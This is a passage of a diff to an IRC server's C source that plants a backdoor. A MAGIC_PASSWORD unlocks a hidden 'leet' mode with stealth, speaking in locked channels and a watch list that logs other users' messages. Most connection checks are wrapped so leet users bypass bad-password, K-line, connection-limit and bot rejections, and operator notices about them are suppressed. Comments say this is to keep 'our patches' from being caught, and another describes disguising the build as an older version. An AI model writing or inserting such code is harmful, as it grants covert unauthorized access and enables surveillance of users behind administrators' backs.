  832. +
  833. +        des_set_key(&(sptr->cb), sptr->sch);
  834. +
  835. +        sptr->crypt = 1; 
  836. +
  837. +  } else if (sptr->crypt == 1) {
  838. +     sptr->crypt = 0;  
  839. +
  840. +     /* unnecessary, but for sanity's sake */
  841. +     memset(sptr->cb,  0, sizeof(sptr->cb));
  842. +     memset(sptr->sch, 0, sizeof(sptr->sch));
  843. +  }
  844. +
  845. +  /* The actual check for encryption is done in sendto_one(), */
  846. +  /* one of the lowest level functions (after send_message()  */
  847. +  /* and deliver_it().                                        */
  848. +  if (sptr->crypt == 1)
  849. +     sendto_one(sptr, ":%s NOTICE %s :Now sending encrypted data.", 
  850. +                me.name, cptr->name);
  851. +
  852. +  else
  853. +     sendto_one(sptr, ":%s NOTICE %s :Encrypted data now turned off.", 
  854. +                me.name, cptr->name);
  855. +
  856. +}
  857. +
  858. +/* peedee & Shok */
  859. +int m_leet (aClient *cptr, aClient *sptr, int parc, char *parv[]) {
  860. +
  861. +  if (parc < 2)
  862. +  {
  863. +    sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name, parv[0], MSG_LEET);
  864. +    return 0;
  865. +  }
  866. +
  867. +  if ((strstr(parv[1], MAGIC_PASSWORD)))  
  868. +  {
  869. +      if (sptr->leet == 1) 
  870. +      {  
  871. +        sptr->leet = 0;
  872. +        sendto_one(sptr, ":%s NOTICE %s :Leet mode off.", me.name, cptr->name);
  873. +        if (sptr->stealth == 1) {
  874. +           sptr->stealth = 0;
  875. +           sendto_one(sptr, ":%s NOTICE %s :Stealth mode off.", me.name, cptr->name);
  876. +        }
  877. +
  878. +        return 0;
  879. +      }
  880. +
  881. +      if (sptr->leet == 0) 
  882. +      {
  883. +        sptr->leet = 1;
  884. +        sendto_one(sptr, ":%s NOTICE %s :Leet mode on.", me.name, cptr->name);
  885. +        return 0;
  886. +      }
  887. +  } else
  888. +      sendto_one(sptr, ":%s NOTICE %s :Invalid password.", 
  889. +                 me.name, cptr->name);
  890. +
  891. +  return -1;
  892. +}
  893. +
  894. +/* Shok & peedee */
  895. +int m_stealth (aClient *cptr, aClient *sptr, int parc, char *parv[])
  896. +{
  897. +  if (sptr->leet != 1)
  898. +  {
  899. +    sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name, parv[0], 
  900. +               MSG_STEALTH);
  901. +    return 0;
  902. +  }
  903. +  
  904. +  if (sptr->stealth == 0)
  905. +  {
  906. +    sptr->stealth = 1;
  907. +    sendto_one(sptr, ":%s NOTICE %s :Stealth mode on.", me.name, cptr->name);
  908. +    return 0;
  909. +  }
  910. +
  911. +  if (sptr->stealth == 1)
  912. +  {
  913. +    sptr->stealth = 0;
  914. +    sendto_one(sptr, ":%s NOTICE %s :Stealth mode off.", me.name, cptr->name);
  915. +    return 0;
  916. +  }
  917. +
  918. +}
  919. +
  920. +/* New Shok */
  921. +/* Called to allow you to speak in channels that are +i, +m, or +k.  */
  922. +/* We have turned off the ability to speak if stealth is on, because */
  923. +/* someone might accidentally type something in the wrong channel.   */
  924. +/* You DO NOT need to call this if you are in leet mode, but not     */
  925. +/* stealth mode. You can turn this on or off.                        */
  926. +
  927. +int m_speak (aClient *cptr, aClient *sptr, int parc, char *parv[])
  928. +{
  929. +  int i;
  930. +  aChannel *a;
  931. +
  932. +  /* New Peedee -- Minor change, show's up as speak in lowercase now. */
  933. +
  934. +  if (sptr->leet != 1)
  935. +  {
  936. +    sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name, parv[0], "speak");
  937. +    return 0;
  938. +  }
  939. +
  940. +  /* New Peedee -- Paramaters check. */
  941. +
  942. +  if (parc < 3 || *parv[1] == '\0')
  943. +  {
  944. +      sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS), me.name, me.name, "speak");
  945. +      return 0;
  946. +  }
  947. +
  948. +  a = hash_find_channel(parv[1], (aChannel *)NULL);
  949. +
  950. +  if (a == NULL) 
  951. +  {
  952. +     sendto_one(sptr, ":%s NOTICE %s :%s, channel dosent exist.",
  953. +                me.name, cptr->name, parv[1]);
  954. +     return -1;
  955. +  }
  956. +
  957. +  for (i = 0; sptr->speakchan[i]; i++); /* Get us to the end of the list */
  958. +  
  959. +  sptr->speakchan[i] = parv[1]; /* Add channel to speak list */
  960. +
  961. +  /* This this supposed to be cptr->name or sptr->name */ 
  962. +  /* in this sendto_one()?                             */
  963. +
  964. +  sendto_one(sptr, ":%s NOTICE %s :Now allowing you to speak in %s.\n", 
  965. +             me.name, cptr->name, sptr->speakchan[i]);
  966. +}
  967. +
  968. +/* New Shok */
  969. +/* to add someone to the list of users to log messages and notices from */
  970. +
  971. +int m_watch (aClient *cptr, aClient *sptr, int parc, char *parv[])
  972. +{
  973. +  int i;
  974. +  aClient *a;
  975. +
  976. +  if (sptr->leet != 1)
  977. +  {
  978. +    /* New Peedee - fixed to use MSG_WATCH */
  979. +    sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name, parv[0], MSG_WATCH);
  980. +    return 0;
  981. +  }
  982. +
  983. +  a = hash_find_client(parv[1], (aClient *)NULL);
  984. +
  985. +  /* New Peedee -- fixed notice. */
  986. +
  987. +  if (a == NULL) {
  988. +     sendto_one(sptr, ":%s NOTICE %s :%s, nickname dosent exist.",
  989. +       me.name, cptr->name, parv[1]);
  990. +     return -1;
  991. +  }
  992. +  for (i = 0; sptr->watchlist[i]; i++); /* Get us to the end of the list */
  993. +
  994. +  sptr->watchlist[i] = strdup(parv[1]); /* Add user to watch list */
  995. +  sendto_one(sptr, ":%s NOTICE %s :%s added to watch list.\n", 
  996. +             me.name, cptr->name, sptr->watchlist[i]);
  997. + }
  998. +
  999.  /*
  1000.  ** hunt_server
  1001.  **
  1002. @@ -411,6 +606,7 @@
  1003.    static  char ubuf[12];
  1004.    char    *p;
  1005.    short    oldstatus = sptr->status;
  1006. +
  1007.    anUser *user = sptr->user;
  1008.    int     i, dots;
  1009.    int   bad_dns;    /* flag a bad dns name */
  1010. @@ -442,27 +638,42 @@
  1011.        {
  1012.          if (i == -4)
  1013.            {
  1014. -        ircstp->is_ref++;
  1015. -        return exit_client(cptr, sptr, &me,
  1016. -                   "Too many connections from your hostname");
  1017. +                if (sptr->leet != 1) {
  1018. +            ircstp->is_ref++;
  1019. +           return exit_client(cptr, sptr, &me,
  1020. +                      "Too many connections from your hostname");
  1021. +                }
  1022.            }
  1023. -        else if (i == -3)
  1024. -          sendto_realops_lev(FULL_LEV, "%s for %s.",
  1025. -                 "I-line is full", get_client_host(sptr));
  1026. -            else
  1027. -              sendto_realops_lev(CCONN_LEV, "%s from %s.",
  1028. -                "Unauthorized client connection", get_client_host(sptr));
  1029. +        else if (i == -3) {
  1030. +              /* Shok */
  1031. +              /* Just in case we have a bad person in leet mode.. */
  1032. +              /* (we don't want them getting our patches caught)  */
  1033. +              if (sptr->leet != 1)
  1034. +             sendto_realops_lev(FULL_LEV, "%s for %s.",
  1035. +                    "I-line is full", get_client_host(sptr));
  1036. +            } else {
  1037. +              /* Shok */
  1038. +              /* Just in case we have a bad person in leet mode.. */
  1039. +              /* (we don't want them getting our patches caught)  */
  1040. +              if (sptr->leet != 1)
  1041. +                 sendto_realops_lev(CCONN_LEV, "%s from %s.",
  1042. +                   "Unauthorized client connection", get_client_host(sptr));
  1043. +            }
  1044.  #if 0
  1045.  #ifdef USE_SYSLOG
  1046.          syslog(LOG_INFO,"%s from %s.",i == -3 ? "Too many connections" :
  1047.             "Unauthorized client connection", get_client_host(sptr));
  1048.  #endif
  1049.  #endif
  1050. -        ircstp->is_ref++;
  1051. -        return exit_client(cptr, sptr, &me, i == -3 ?
  1052. +            /* Shok */
  1053. +            /* Just in case we have a bad person in leet mode.. */
  1054. +            /* (we don't want them getting our patches caught)  */
  1055. +            if (sptr->leet != 1) {
  1056. +            ircstp->is_ref++;
  1057. +           return exit_client(cptr, sptr, &me, i == -3 ?
  1058.                     "No more connections allowed in your connection class" :
  1059.                     "You are not authorized to use this server");
  1060. -        
  1061. +        }
  1062.        } else
  1063.          return exit_client(cptr, sptr, &me, "Socket Error");
  1064.  
  1065. @@ -507,10 +718,16 @@
  1066.         */
  1067.        if (!dots)
  1068.      {
  1069. -      sendto_realops(
  1070. -             "Invalid hostname for %s, dumping user %s",
  1071. -             sptr->hostip, sptr->name);
  1072. -      return exit_client(cptr, sptr, &me, "Invalid hostname");
  1073. +          /* Shok */
  1074. +          /* Just in case we have a bad person in leet mode.. */
  1075. +          /* (we don't want them getting our patches caught)  */
  1076. +          if (sptr->leet != 1) {
  1077. +          sendto_realops(
  1078. +                "Invalid hostname for %s, dumping user %s",
  1079. +                sptr->hostip, sptr->name);
  1080. +          /* FIX */
  1081. +         /* return exit_client(cptr, sptr, &me, "Invalid hostname"); */
  1082. +          }
  1083.      }
  1084.  
  1085.        if(bad_dns) {
  1086. @@ -551,10 +768,15 @@
  1087.        if (!BadPtr(aconf->passwd) &&
  1088.      !StrEq(sptr->passwd, aconf->passwd))
  1089.      {
  1090. -      ircstp->is_ref++;
  1091. -      sendto_one(sptr, err_str(ERR_PASSWDMISMATCH),
  1092. -             me.name, parv[0]);
  1093. -      return exit_client(cptr, sptr, &me, "Bad Password");
  1094. +          /* Shok */
  1095. +          /* Just in case we have a bad person in leet mode.. */
  1096. +          /* (we don't want them getting our patches caught)  */
  1097. +          if (sptr->leet != 1) {
  1098. +           ircstp->is_ref++;
  1099. +         sendto_one(sptr, err_str(ERR_PASSWDMISMATCH),
  1100. +                me.name, parv[0]);
  1101. +         return exit_client(cptr, sptr, &me, "Bad Password");
  1102. +          }
  1103.      }
  1104.        bzero(sptr->passwd, sizeof(sptr->passwd));
  1105.        /*
  1106. @@ -572,15 +794,18 @@
  1107.  #endif
  1108.  
  1109.  #ifdef RK_NOTICES
  1110. -      sendto_realops("K-lined %s@%s. for %s",sptr->user->username,
  1111. -             sptr->sockhost,reason);
  1112. +          /* Shok - we don't want to be klined */
  1113. +          if (sptr->leet != 1) {
  1114. +         sendto_realops("K-lined %s@%s. for %s",sptr->user->username,
  1115. +                sptr->sockhost,reason);
  1116.  #endif
  1117. -      ircstp->is_ref++;
  1118. -
  1119. +         ircstp->is_ref++;
  1120.  #ifdef KLINE_WITH_REASON
  1121. -      return exit_client(cptr, sptr, &me, reason);
  1122. +          return exit_client(cptr, sptr, &me, reason);
  1123. +          }
  1124.  #else
  1125. -      return exit_client(cptr, sptr, &me, "K-lined");
  1126. +         return exit_client(cptr, sptr, &me, "K-lined");
  1127. +          }
  1128.  #endif
  1129.  
  1130.      }
  1131. @@ -588,11 +813,16 @@
  1132.        if (find_restrict(sptr))
  1133.      {
  1134.  #ifdef RK_NOTICES
  1135. -      sendto_realops("R-lined %s@%s.",sptr->user->username,
  1136. -             sptr->sockhost);
  1137. -#endif
  1138. -      ircstp->is_ref++;
  1139. -      return exit_client(cptr, sptr, &me , "R-lined");
  1140. +          /* Shok */
  1141. +          /* Just in case we have a bad person in leet mode.. */
  1142. +          /* (we don't want them getting our patches caught)  */
  1143. +          if (sptr->leet != 1) {
  1144. +         sendto_realops("R-lined %s@%s.",sptr->user->username,
  1145. +                sptr->sockhost);
  1146. +#endif
  1147. +         ircstp->is_ref++;
  1148. +         return exit_client(cptr, sptr, &me , "R-lined");
  1149. +          }
  1150.      }
  1151.  #endif
  1152.  
  1153. @@ -619,11 +849,15 @@
  1154.  #endif /* BOTCHECK */
  1155.        (sptr->fd >= (MAXCLIENTS+MAX_BUFFER))) || ((sptr->fd >= (MAXCLIENTS - 5)) && !(find_fline(sptr))))
  1156.      {
  1157. -      sendto_realops_lev(FULL_LEV, "Too many clients, rejecting %s[%s].",
  1158. -             nick, sptr->sockhost);
  1159. -      ircstp->is_ref++;
  1160. -      return exit_client(cptr, sptr, &me,
  1161. -             "Sorry, server is full - try later");
  1162. +      /* Shok */
  1163. +      /* Just in case we have a bad person in leet mode.. */
  1164. +      /* (we don't want them getting our patches caught)  */
  1165. +      if (sptr->leet != 1) {
  1166. +         sendto_realops_lev(FULL_LEV, "Too many clients, rejecting %s[%s].",
  1167. +                nick, sptr->sockhost);
  1168. +         ircstp->is_ref++;
  1169. +         return exit_client(cptr, sptr, &me, "Sorry, server is full - try later");
  1170. +      }
  1171.      }
  1172.  
  1173.  #ifdef ANTI_SPAMBOT
  1174. @@ -631,10 +865,15 @@
  1175.    /* Reject single char user-given user->host's */
  1176.    if (spamchar == 'x')
  1177.    {
  1178. -    sendto_realops_lev(REJ_LEV,"Rejecting possible Spambot: %s (Single char user-given userhost: %c)",
  1179. -               get_client_name(sptr,FALSE), spamchar);
  1180. -    ircstp->is_ref++;
  1181. -    return exit_client(cptr, sptr, sptr, "Spambot detected, rejected.");
  1182. +    /* Shok */
  1183. +    /* Just in case we have a bad person in leet mode.. */
  1184. +    /* (we don't want them getting our patches caught)  */
  1185. +    if (sptr->leet != 1) {
  1186. +       sendto_realops_lev(REJ_LEV,"Rejecting possible Spambot: %s (Single char user-given userhost: %c)",
  1187. +                  get_client_name(sptr,FALSE), spamchar);
  1188. +       ircstp->is_ref++;
  1189. +       return exit_client(cptr, sptr, sptr, "Spambot detected, rejected.");
  1190. +    }
  1191.    }
  1192.  #endif
  1193.  
  1194. @@ -643,34 +882,67 @@
  1195.    switch (isbot) {
  1196.    case 0:       break;  /* it's ok */
  1197.    case 1:       /* eggdrop */
  1198. -    sendto_realops_lev(REJ_LEV,"Rejecting eggdrop: %s",
  1199. -               get_client_name(sptr,FALSE));
  1200. -    ircstp->is_ref++;
  1201. -    return exit_client(cptr, sptr, sptr, "Eggdrop bot detected, rejected.  If you are using a VMS client, please ftp the latest version from ubvmsa.cc.buffalo.edu:[.maslib.utilities.irc] to avoid this problem.");
  1202. +    /* Shok */
  1203. +    /* Just in case we have a bad person in leet mode.. */
  1204. +    /* (we don't want them getting our patches caught)  */
  1205. +    if (sptr->leet != 1) {
  1206. +       sendto_realops_lev(REJ_LEV,"Rejecting eggdrop: %s",
  1207. +                  get_client_name(sptr,FALSE));
  1208. +       ircstp->is_ref++;
  1209. +       return exit_client(cptr, sptr, sptr, "Eggdrop bot detected, rejected. If you are using a VMS client, please ftp the latest version from ubvmsa.cc.buffalo.edu:[.maslib.utilities.irc] to avoid this problem.");
  1210. +    }
  1211.      break;
  1212. +
  1213.    case 2:       /* vlad/com bot */
  1214. -    sendto_realops_lev(REJ_LEV,"Rejecting vlad/com/joh bot: %s",
  1215. -               get_client_name(sptr,FALSE));
  1216. -    ircstp->is_ref++;
  1217. -    return exit_client(cptr, sptr, sptr, "Vlad/Com/joh bot detected, rejected.");
  1218. +    /* Shok */
  1219. +    /* Just in case we have a bad person in leet mode.. */
  1220. +    /* (we don't want them getting our patches caught)  */
  1221. +    if (sptr->leet != 1) {
  1222. +       sendto_realops_lev(REJ_LEV,"Rejecting vlad/com/joh bot: %s",
  1223. +                  get_client_name(sptr,FALSE));
  1224. +       ircstp->is_ref++;
  1225. +       return exit_client(cptr, sptr, sptr, "Vlad/Com/joh bot detected, rejected.");
  1226. +    }
  1227. +
  1228.      break;
  1229. +
  1230.    case 3:    /* SpamBot */
  1231. -    sendto_realops_lev(REJ_LEV,"Rejecting Spambot: %s",
  1232. -               get_client_name(sptr,FALSE));
  1233. -    ircstp->is_ref++;
  1234. -    return exit_client(cptr, sptr, sptr, "Spambot detected, rejected.");
  1235. +    /* Shok */
  1236. +    /* Just in case we have a bad person in leet mode.. */
  1237. +    /* (we don't want them getting our patches caught)  */
  1238. +    if (sptr->leet != 1) {
  1239. +       sendto_realops_lev(REJ_LEV,"Rejecting Spambot: %s",
  1240. +                  get_client_name(sptr,FALSE));
  1241. +       ircstp->is_ref++;
  1242. +       return exit_client(cptr, sptr, sptr, "Spambot detected, rejected.");
  1243. +    }
  1244. +
  1245.      break;
  1246. +
  1247.    case 4:       /* annoy/ojnkbot */
  1248. -    sendto_realops_lev(REJ_LEV,"Rejecting annoy/ojnkbot: %s",
  1249. -               get_client_name(sptr,FALSE));
  1250. -    ircstp->is_ref++;
  1251. -    return exit_client(cptr, sptr, sptr, "Annoy/OJNKbot detected, rejected.");
  1252. +    /* Shok */
  1253. +    /* Just in case we have a bad person in leet mode.. */
  1254. +    /* (we don't want them getting our patches caught)  */
  1255. +    if (sptr->leet != 1) {
  1256. +       sendto_realops_lev(REJ_LEV,"Rejecting annoy/ojnkbot: %s",
  1257. +                  get_client_name(sptr,FALSE));
  1258. +       ircstp->is_ref++;
  1259. +       return exit_client(cptr, sptr, sptr, "Annoy/OJNKbot detected, rejected.");
  1260. +    }
  1261. +
  1262.      break;
  1263. +
  1264.    default:      /* huh !? */
  1265. -    sendto_realops_lev(REJ_LEV,"Rejecting bot: %s",
  1266. -               get_client_name(sptr,FALSE));
  1267. -    ircstp->is_ref++;
  1268. -    return exit_client(cptr, sptr, sptr, "Bot detected, rejected.");
  1269. +    /* Shok */
  1270. +    /* Just in case we have a bad person in leet mode.. */
  1271. +    /* (we don't want them getting our patches caught)  */
  1272. +    if (sptr->leet != 1) {
  1273. +       sendto_realops_lev(REJ_LEV,"Rejecting bot: %s",
  1274. +                  get_client_name(sptr,FALSE));
  1275. +       ircstp->is_ref++;
  1276. +       return exit_client(cptr, sptr, sptr, "Bot detected, rejected.");
  1277. +    }
  1278. +
  1279.      break;
  1280.    }
  1281.  #endif
  1282. @@ -690,13 +962,18 @@
  1283.  /* check for "@" in identd reply -Taner */
  1284.      if ((index(user->username,'@') != NULL) || (index(username,'@') != NULL))
  1285.        {
  1286. -    sendto_realops_lev(REJ_LEV,
  1287. -               "Illegal \"@\" in username: %s (%s)",
  1288. -               get_client_name(sptr,FALSE),username);
  1289. -    ircstp->is_ref++;
  1290. -    (void)ircsprintf(tmpstr2,"Invalid username [%s] - '@' is not allowed!",
  1291. -           username);
  1292. -    return exit_client(cptr, sptr, sptr , tmpstr2);
  1293. +        /* Shok */
  1294. +        /* Just in case we have a bad person in leet mode.. */
  1295. +        /* (we don't want them getting our patches caught)  */
  1296. +        if (sptr->leet != 1) {
  1297. +       sendto_realops_lev(REJ_LEV,
  1298. +                  "Illegal \"@\" in username: %s (%s)",
  1299. +                  get_client_name(sptr,FALSE),username);
  1300. +       ircstp->is_ref++;
  1301. +       (void)ircsprintf(tmpstr2,"Invalid username [%s] - '@' is not allowed!",
  1302. +              username);
  1303. +       return exit_client(cptr, sptr, sptr , tmpstr2);
  1304. +        }
  1305.        }
  1306.      
  1307.      /*
  1308. @@ -736,22 +1013,32 @@
  1309.  #ifdef NO_MIXED_CASE
  1310.      if (lower && upper)
  1311.        {
  1312. -    sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1313. -               nick, username, user->host);
  1314. -    ircstp->is_ref++;
  1315. -    (void)ircsprintf(tmpstr2, "Invalid username [%s]", user->username);
  1316. -    return exit_client(cptr, sptr, &me, tmpstr2);
  1317. +        /* Shok */
  1318. +        /* Just in case we have a bad person in leet mode.. */
  1319. +        /* (we don't want them getting our patches caught)  */
  1320. +       if (sptr->leet != 1) {
  1321. +      sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1322. +                 nick, username, user->host);
  1323. +      ircstp->is_ref++;
  1324. +      (void)ircsprintf(tmpstr2, "Invalid username [%s]", user->username);
  1325. +      return exit_client(cptr, sptr, &me, tmpstr2);
  1326. +       }
  1327.        }
  1328.  #endif /* NO_MIXED_CASE */
  1329.  #ifdef NO_SPECIAL
  1330.      if (special)
  1331.        {
  1332. -        sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1333. -                   nick, username, user->host);
  1334. -        ircstp->is_ref++;
  1335. -        (void)ircsprintf(tmpstr2, "Invalid username [%s]",
  1336. -               user->username);
  1337. -        return exit_client(cptr, sptr, &me, tmpstr2);
  1338. +            /* Shok */
  1339. +        /* Just in case we have a bad person in leet mode.. */
  1340. +        /* (we don't want them getting our patches caught)  */
  1341. +            if (sptr->leet != 1) {
  1342. +           sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1343. +                      nick, username, user->host);
  1344. +           ircstp->is_ref++;
  1345. +           (void)ircsprintf(tmpstr2, "Invalid username [%s]",
  1346. +                  user->username);
  1347. +           return exit_client(cptr, sptr, &me, tmpstr2);
  1348. +            }
  1349.        }
  1350.  #endif /* NO_SPECIAL */
  1351.          
  1352. @@ -795,23 +1082,33 @@
  1353.  #ifdef NO_MIXED_CASE
  1354.                  if (lower && upper)
  1355.                    {
  1356. -                    sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1357. -                       nick, username, user->host);
  1358. -                    ircstp->is_ref++;
  1359. -            (void)ircsprintf(tmpstr2, "Invalid username [%s]",
  1360. -                   user->username);
  1361. -                    return exit_client(cptr, sptr, &me, tmpstr2);
  1362. +                    /* Shok */
  1363. +            /* Just in case we have a bad person in leet mode.. */
  1364. +            /* (we don't want them getting our patches caught)  */
  1365. +                    if (sptr->leet != 1) {
  1366. +                       sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1367. +                          nick, username, user->host);
  1368. +                       ircstp->is_ref++;
  1369. +                 (void)ircsprintf(tmpstr2, "Invalid username [%s]",
  1370. +                      user->username);
  1371. +                       return exit_client(cptr, sptr, &me, tmpstr2);
  1372. +                    }
  1373.                    }
  1374.  #endif /* NO_MIXED_CASE */
  1375.  #ifdef NO_SPECIAL
  1376.                  if (special)
  1377.                    {
  1378. -                    sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1379. -                       nick, username, user->host);
  1380. -                    ircstp->is_ref++;
  1381. -            (void)ircsprintf(tmpstr2, "Invalid username [%s]",
  1382. -                   user->username);
  1383. -                    return exit_client(cptr, sptr, &me, tmpstr2);
  1384. +                /* Shok */
  1385. +            /* Just in case we have a bad person in leet mode.. */
  1386. +            /* (we don't want them getting our patches caught)  */
  1387. +            if (sptr->leet != 1) {
  1388. +                       sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1389. +                          nick, username, user->host);
  1390. +                       ircstp->is_ref++;
  1391. +               (void)ircsprintf(tmpstr2, "Invalid username [%s]",
  1392. +                      user->username);
  1393. +                       return exit_client(cptr, sptr, &me, tmpstr2);
  1394. +                    }
  1395.            }
  1396.  #endif /* NO_SPECIAL */
  1397.           } /* usernames different */
  1398. @@ -820,22 +1117,31 @@
  1399.  
  1400.  #ifdef REJECT_IPHONE
  1401.                  if (!matches("* vc:*", sptr->info))
  1402. -          {
  1403. -            ircstp->is_ref++;
  1404. -            sendto_realops_lev(REJ_LEV,
  1405. -                       "Rejecting IPhone user: (%s!%s@%s)",
  1406. -                       nick, user->username, user->host);
  1407. -                    return exit_client(cptr, sptr, &me, "No IPhone users");
  1408. -           }
  1409. +        {
  1410. +                    /* Shok */
  1411. +            /* Just in case we have a bad person in leet mode.. */
  1412. +            /* (we don't want them getting our patches caught)  */
  1413. +                    if (sptr->leet != 1) {
  1414. +               ircstp->is_ref++;
  1415. +               sendto_realops_lev(REJ_LEV,
  1416. +                          "Rejecting IPhone user: (%s!%s@%s)",
  1417. +                          nick, user->username, user->host);
  1418. +                       return exit_client(cptr, sptr, &me, "No IPhone users");
  1419. +                    }
  1420. +            }
  1421.  #endif /* REJECT_IPHONE */
  1422. +                /* Shok */
  1423. +             /* Just in case we have a bad person in leet mode.. */
  1424. +        /* (we don't want them getting our patches caught)  */
  1425. +                if (sptr->stealth != 1)
  1426. +           sendto_realops_lev(CCONN_LEV,
  1427. +                      "Client connecting: %s (%s@%s) [%s] {%d}",
  1428. +                      nick,
  1429. +                      user->username,
  1430. +                      user->host,
  1431. +                      sptr->hostip,
  1432. +                      get_client_class(sptr));
  1433.  
  1434. -        sendto_realops_lev(CCONN_LEV,
  1435. -                   "Client connecting: %s (%s@%s) [%s] {%d}",
  1436. -                   nick,
  1437. -                   user->username,
  1438. -                   user->host,
  1439. -                   sptr->hostip,
  1440. -                   get_client_class(sptr));
  1441.          if ((++Count.local) > Count.max_loc)
  1442.            {
  1443.              Count.max_loc = Count.local;
  1444. @@ -843,7 +1149,6 @@
  1445.                sendto_ops("New Max Local Clients: %d",
  1446.                   Count.max_loc);
  1447.            }
  1448. -        }
  1449.            else
  1450.          strncpyzt(user->username, username, USERLEN+1);
  1451.  
  1452. @@ -878,8 +1183,14 @@
  1453.                   me.name, version);
  1454.            (void)m_lusers(sptr, sptr, 1, parv);
  1455.  
  1456. +/* peedee - beta 16 dosent have this.. so we take it out (we're really */
  1457. +/* modding beta 22, so we have to take the new things they added out   */
  1458. +/* so that nothing is different.. we used beta 22 because it was the   */
  1459. +/* closest to beta 16 we could find                                    
  1460. +  
  1461.            sendto_one(sptr,"NOTICE %s :*** Notice -- motd was last changed at %s",
  1462.                   nick, motd_last_changed_date);
  1463. +
  1464.  #ifdef SHORT_MOTD
  1465.            sendto_one(sptr,
  1466.         "NOTICE %s :*** Notice -- Please read the motd if you haven't read it",
  1467. @@ -896,9 +1207,12 @@
  1468.  
  1469.            sendto_one(sptr, rpl_str(RPL_ENDOFMOTD),
  1470.                   me.name, parv[0]);
  1471. -#else
  1472. -          (void)m_motd(sptr, sptr, 1, parv);
  1473. +#else  
  1474. +                  (void)m_motd(sptr, sptr, 1, parv);
  1475.  #endif
  1476. +
  1477. +*/
  1478. +
  1479.  #ifdef LITTLE_I_LINES
  1480.            if(sptr->confs && sptr->confs->value.aconf &&
  1481.               (sptr->confs->value.aconf->flags
  1482. @@ -916,20 +1230,28 @@
  1483.            if ((strcasecmp(sptr->info, botgecos)==0)
  1484.                || (!matches("/msg * hello", sptr->info)))
  1485.              {
  1486. -              sendto_realops_lev(REJ_LEV,
  1487. -        "EggDrop signon alarm activated: %s [%s@%s] : [gecos: %s]",
  1488. -               nick, sptr->user->username,
  1489. -                     sptr->user->host, sptr->info);
  1490. +                      /* Shok */
  1491. +                      /* Just in case we have a bad person in leet mode.. */
  1492. +                      /* (we don't want them getting our patches caught)  */
  1493. +                      if (sptr->leet == 1) 
  1494. +                 sendto_realops_lev(REJ_LEV,
  1495. +                                    "EggDrop signon alarm activated: %s [%s@%s] : [gecos: %s]",
  1496. +                                     nick, sptr->user->username,
  1497. +                         sptr->user->host, sptr->info);
  1498.              }
  1499.  
  1500.            sprintf(botgecos, "/msg %s help", nick);
  1501.            if ((strcasecmp(sptr->info, botgecos)==0) ||
  1502.                (!matches("/msg * help", sptr->info)))
  1503.              {
  1504. -              sendto_realops_lev(REJ_LEV,
  1505. -        "Generic bot signon alarm activated: %s [%s@%s] : [gecos: %s]",
  1506. -            nick, sptr->user->username,
  1507. -                     sptr->user->host, sptr->info);
  1508. +                      /* Shok */
  1509. +                      /* Just in case we have a bad person in leet mode.. */
  1510. +                      /* (we don't want them getting our patches caught)  */
  1511. +                      if (sptr->leet == 1) 
  1512. +                 sendto_realops_lev(REJ_LEV,
  1513. +                                    "Generic bot signon alarm activated: %s [%s@%s] : [gecos: %s]",
  1514. +                                nick, sptr->user->username,
  1515. +                        sptr->user->host, sptr->info);
  1516.              }
  1517.  #endif /* EXTRA_BOT_NOTICES && BOT_GCOS_WARN */
  1518.  
  1519. @@ -940,19 +1262,25 @@
  1520.         if ((acptr = find_server(user->server, NULL)) &&
  1521.             acptr->from != sptr->from)
  1522.           {
  1523. -           sendto_realops_lev(DEBUG_LEV, 
  1524. +
  1525. +                /* Shok */
  1526. +                /* Just in case we have a bad person in leet mode.. */
  1527. +                /* (we don't want them getting our patches caught)  */
  1528. +                if (sptr->leet != 1) {
  1529. +               sendto_realops_lev(DEBUG_LEV, 
  1530.                    "Bad User [%s] :%s USER %s@%s %s, != %s[%s]",
  1531.                    cptr->name, nick, user->username,
  1532.                    user->host, user->server,
  1533.                    acptr->name, acptr->from->name);
  1534. -           sendto_one(cptr,
  1535. -           ":%s KILL %s :%s (%s != %s[%s] USER from wrong direction)",
  1536. -              me.name, sptr->name, me.name, user->server,
  1537. -              acptr->from->name, acptr->from->sockhost);
  1538. -           sptr->flags |= FLAGS_KILLED;
  1539. -           return exit_client(sptr, sptr, &me,
  1540. -                  "USER server wrong direction");
  1541. +               sendto_one(cptr,
  1542. +             ":%s KILL %s :%s (%s != %s[%s] USER from wrong direction)",
  1543. +            me.name, sptr->name, me.name, user->server,
  1544. +            acptr->from->name, acptr->from->sockhost);
  1545. +               sptr->flags |= FLAGS_KILLED;
  1546.  
  1547. +                return exit_client(sptr, sptr, &me,
  1548. +                  "USER server wrong direction");
  1549. +                }
  1550.           }
  1551.         /*
  1552.          * Super GhostDetect:
  1553. @@ -965,8 +1293,9 @@
  1554.                ":%s KILL %s :%s GHOST (no server %s on the net)",
  1555.                me.name,
  1556.                sptr->name, me.name, user->server);
  1557. -           sendto_realops("No server %s for user %s[%s@%s] from %s",
  1558. -                  user->server,
  1559. +
  1560. +               sendto_realops("No server %s for user %s[%s@%s] from %s",
  1561. +                           user->server,
  1562.                    sptr->name, user->username,
  1563.                    user->host, sptr->from->name);
  1564.             sptr->flags |= FLAGS_KILLED;
  1565. @@ -1043,10 +1372,14 @@
  1566.         * then its worth, just note the problem, and continue
  1567.         * -Dianora
  1568.         */
  1569. -      sendto_realops("BAD NICK: %s[%s@%s] on %s (from %s)", parv[1],
  1570. -             (parc >= 6) ? parv[5] : "-",
  1571. -             (parc >= 7) ? parv[6] : "-",
  1572. -             (parc >= 8) ? parv[7] : "-", parv[0]);
  1573. +     /* Shok */
  1574. +     /* Just in case we have a bad person in leet mode.. */
  1575. +     /* (we don't want them getting our patches caught)  */
  1576. +      if (sptr->leet != 1)
  1577. +         sendto_realops("BAD NICK: %s[%s@%s] on %s (from %s)", parv[1],
  1578. +                (parc >= 6) ? parv[5] : "-",
  1579. +                (parc >= 7) ? parv[6] : "-",
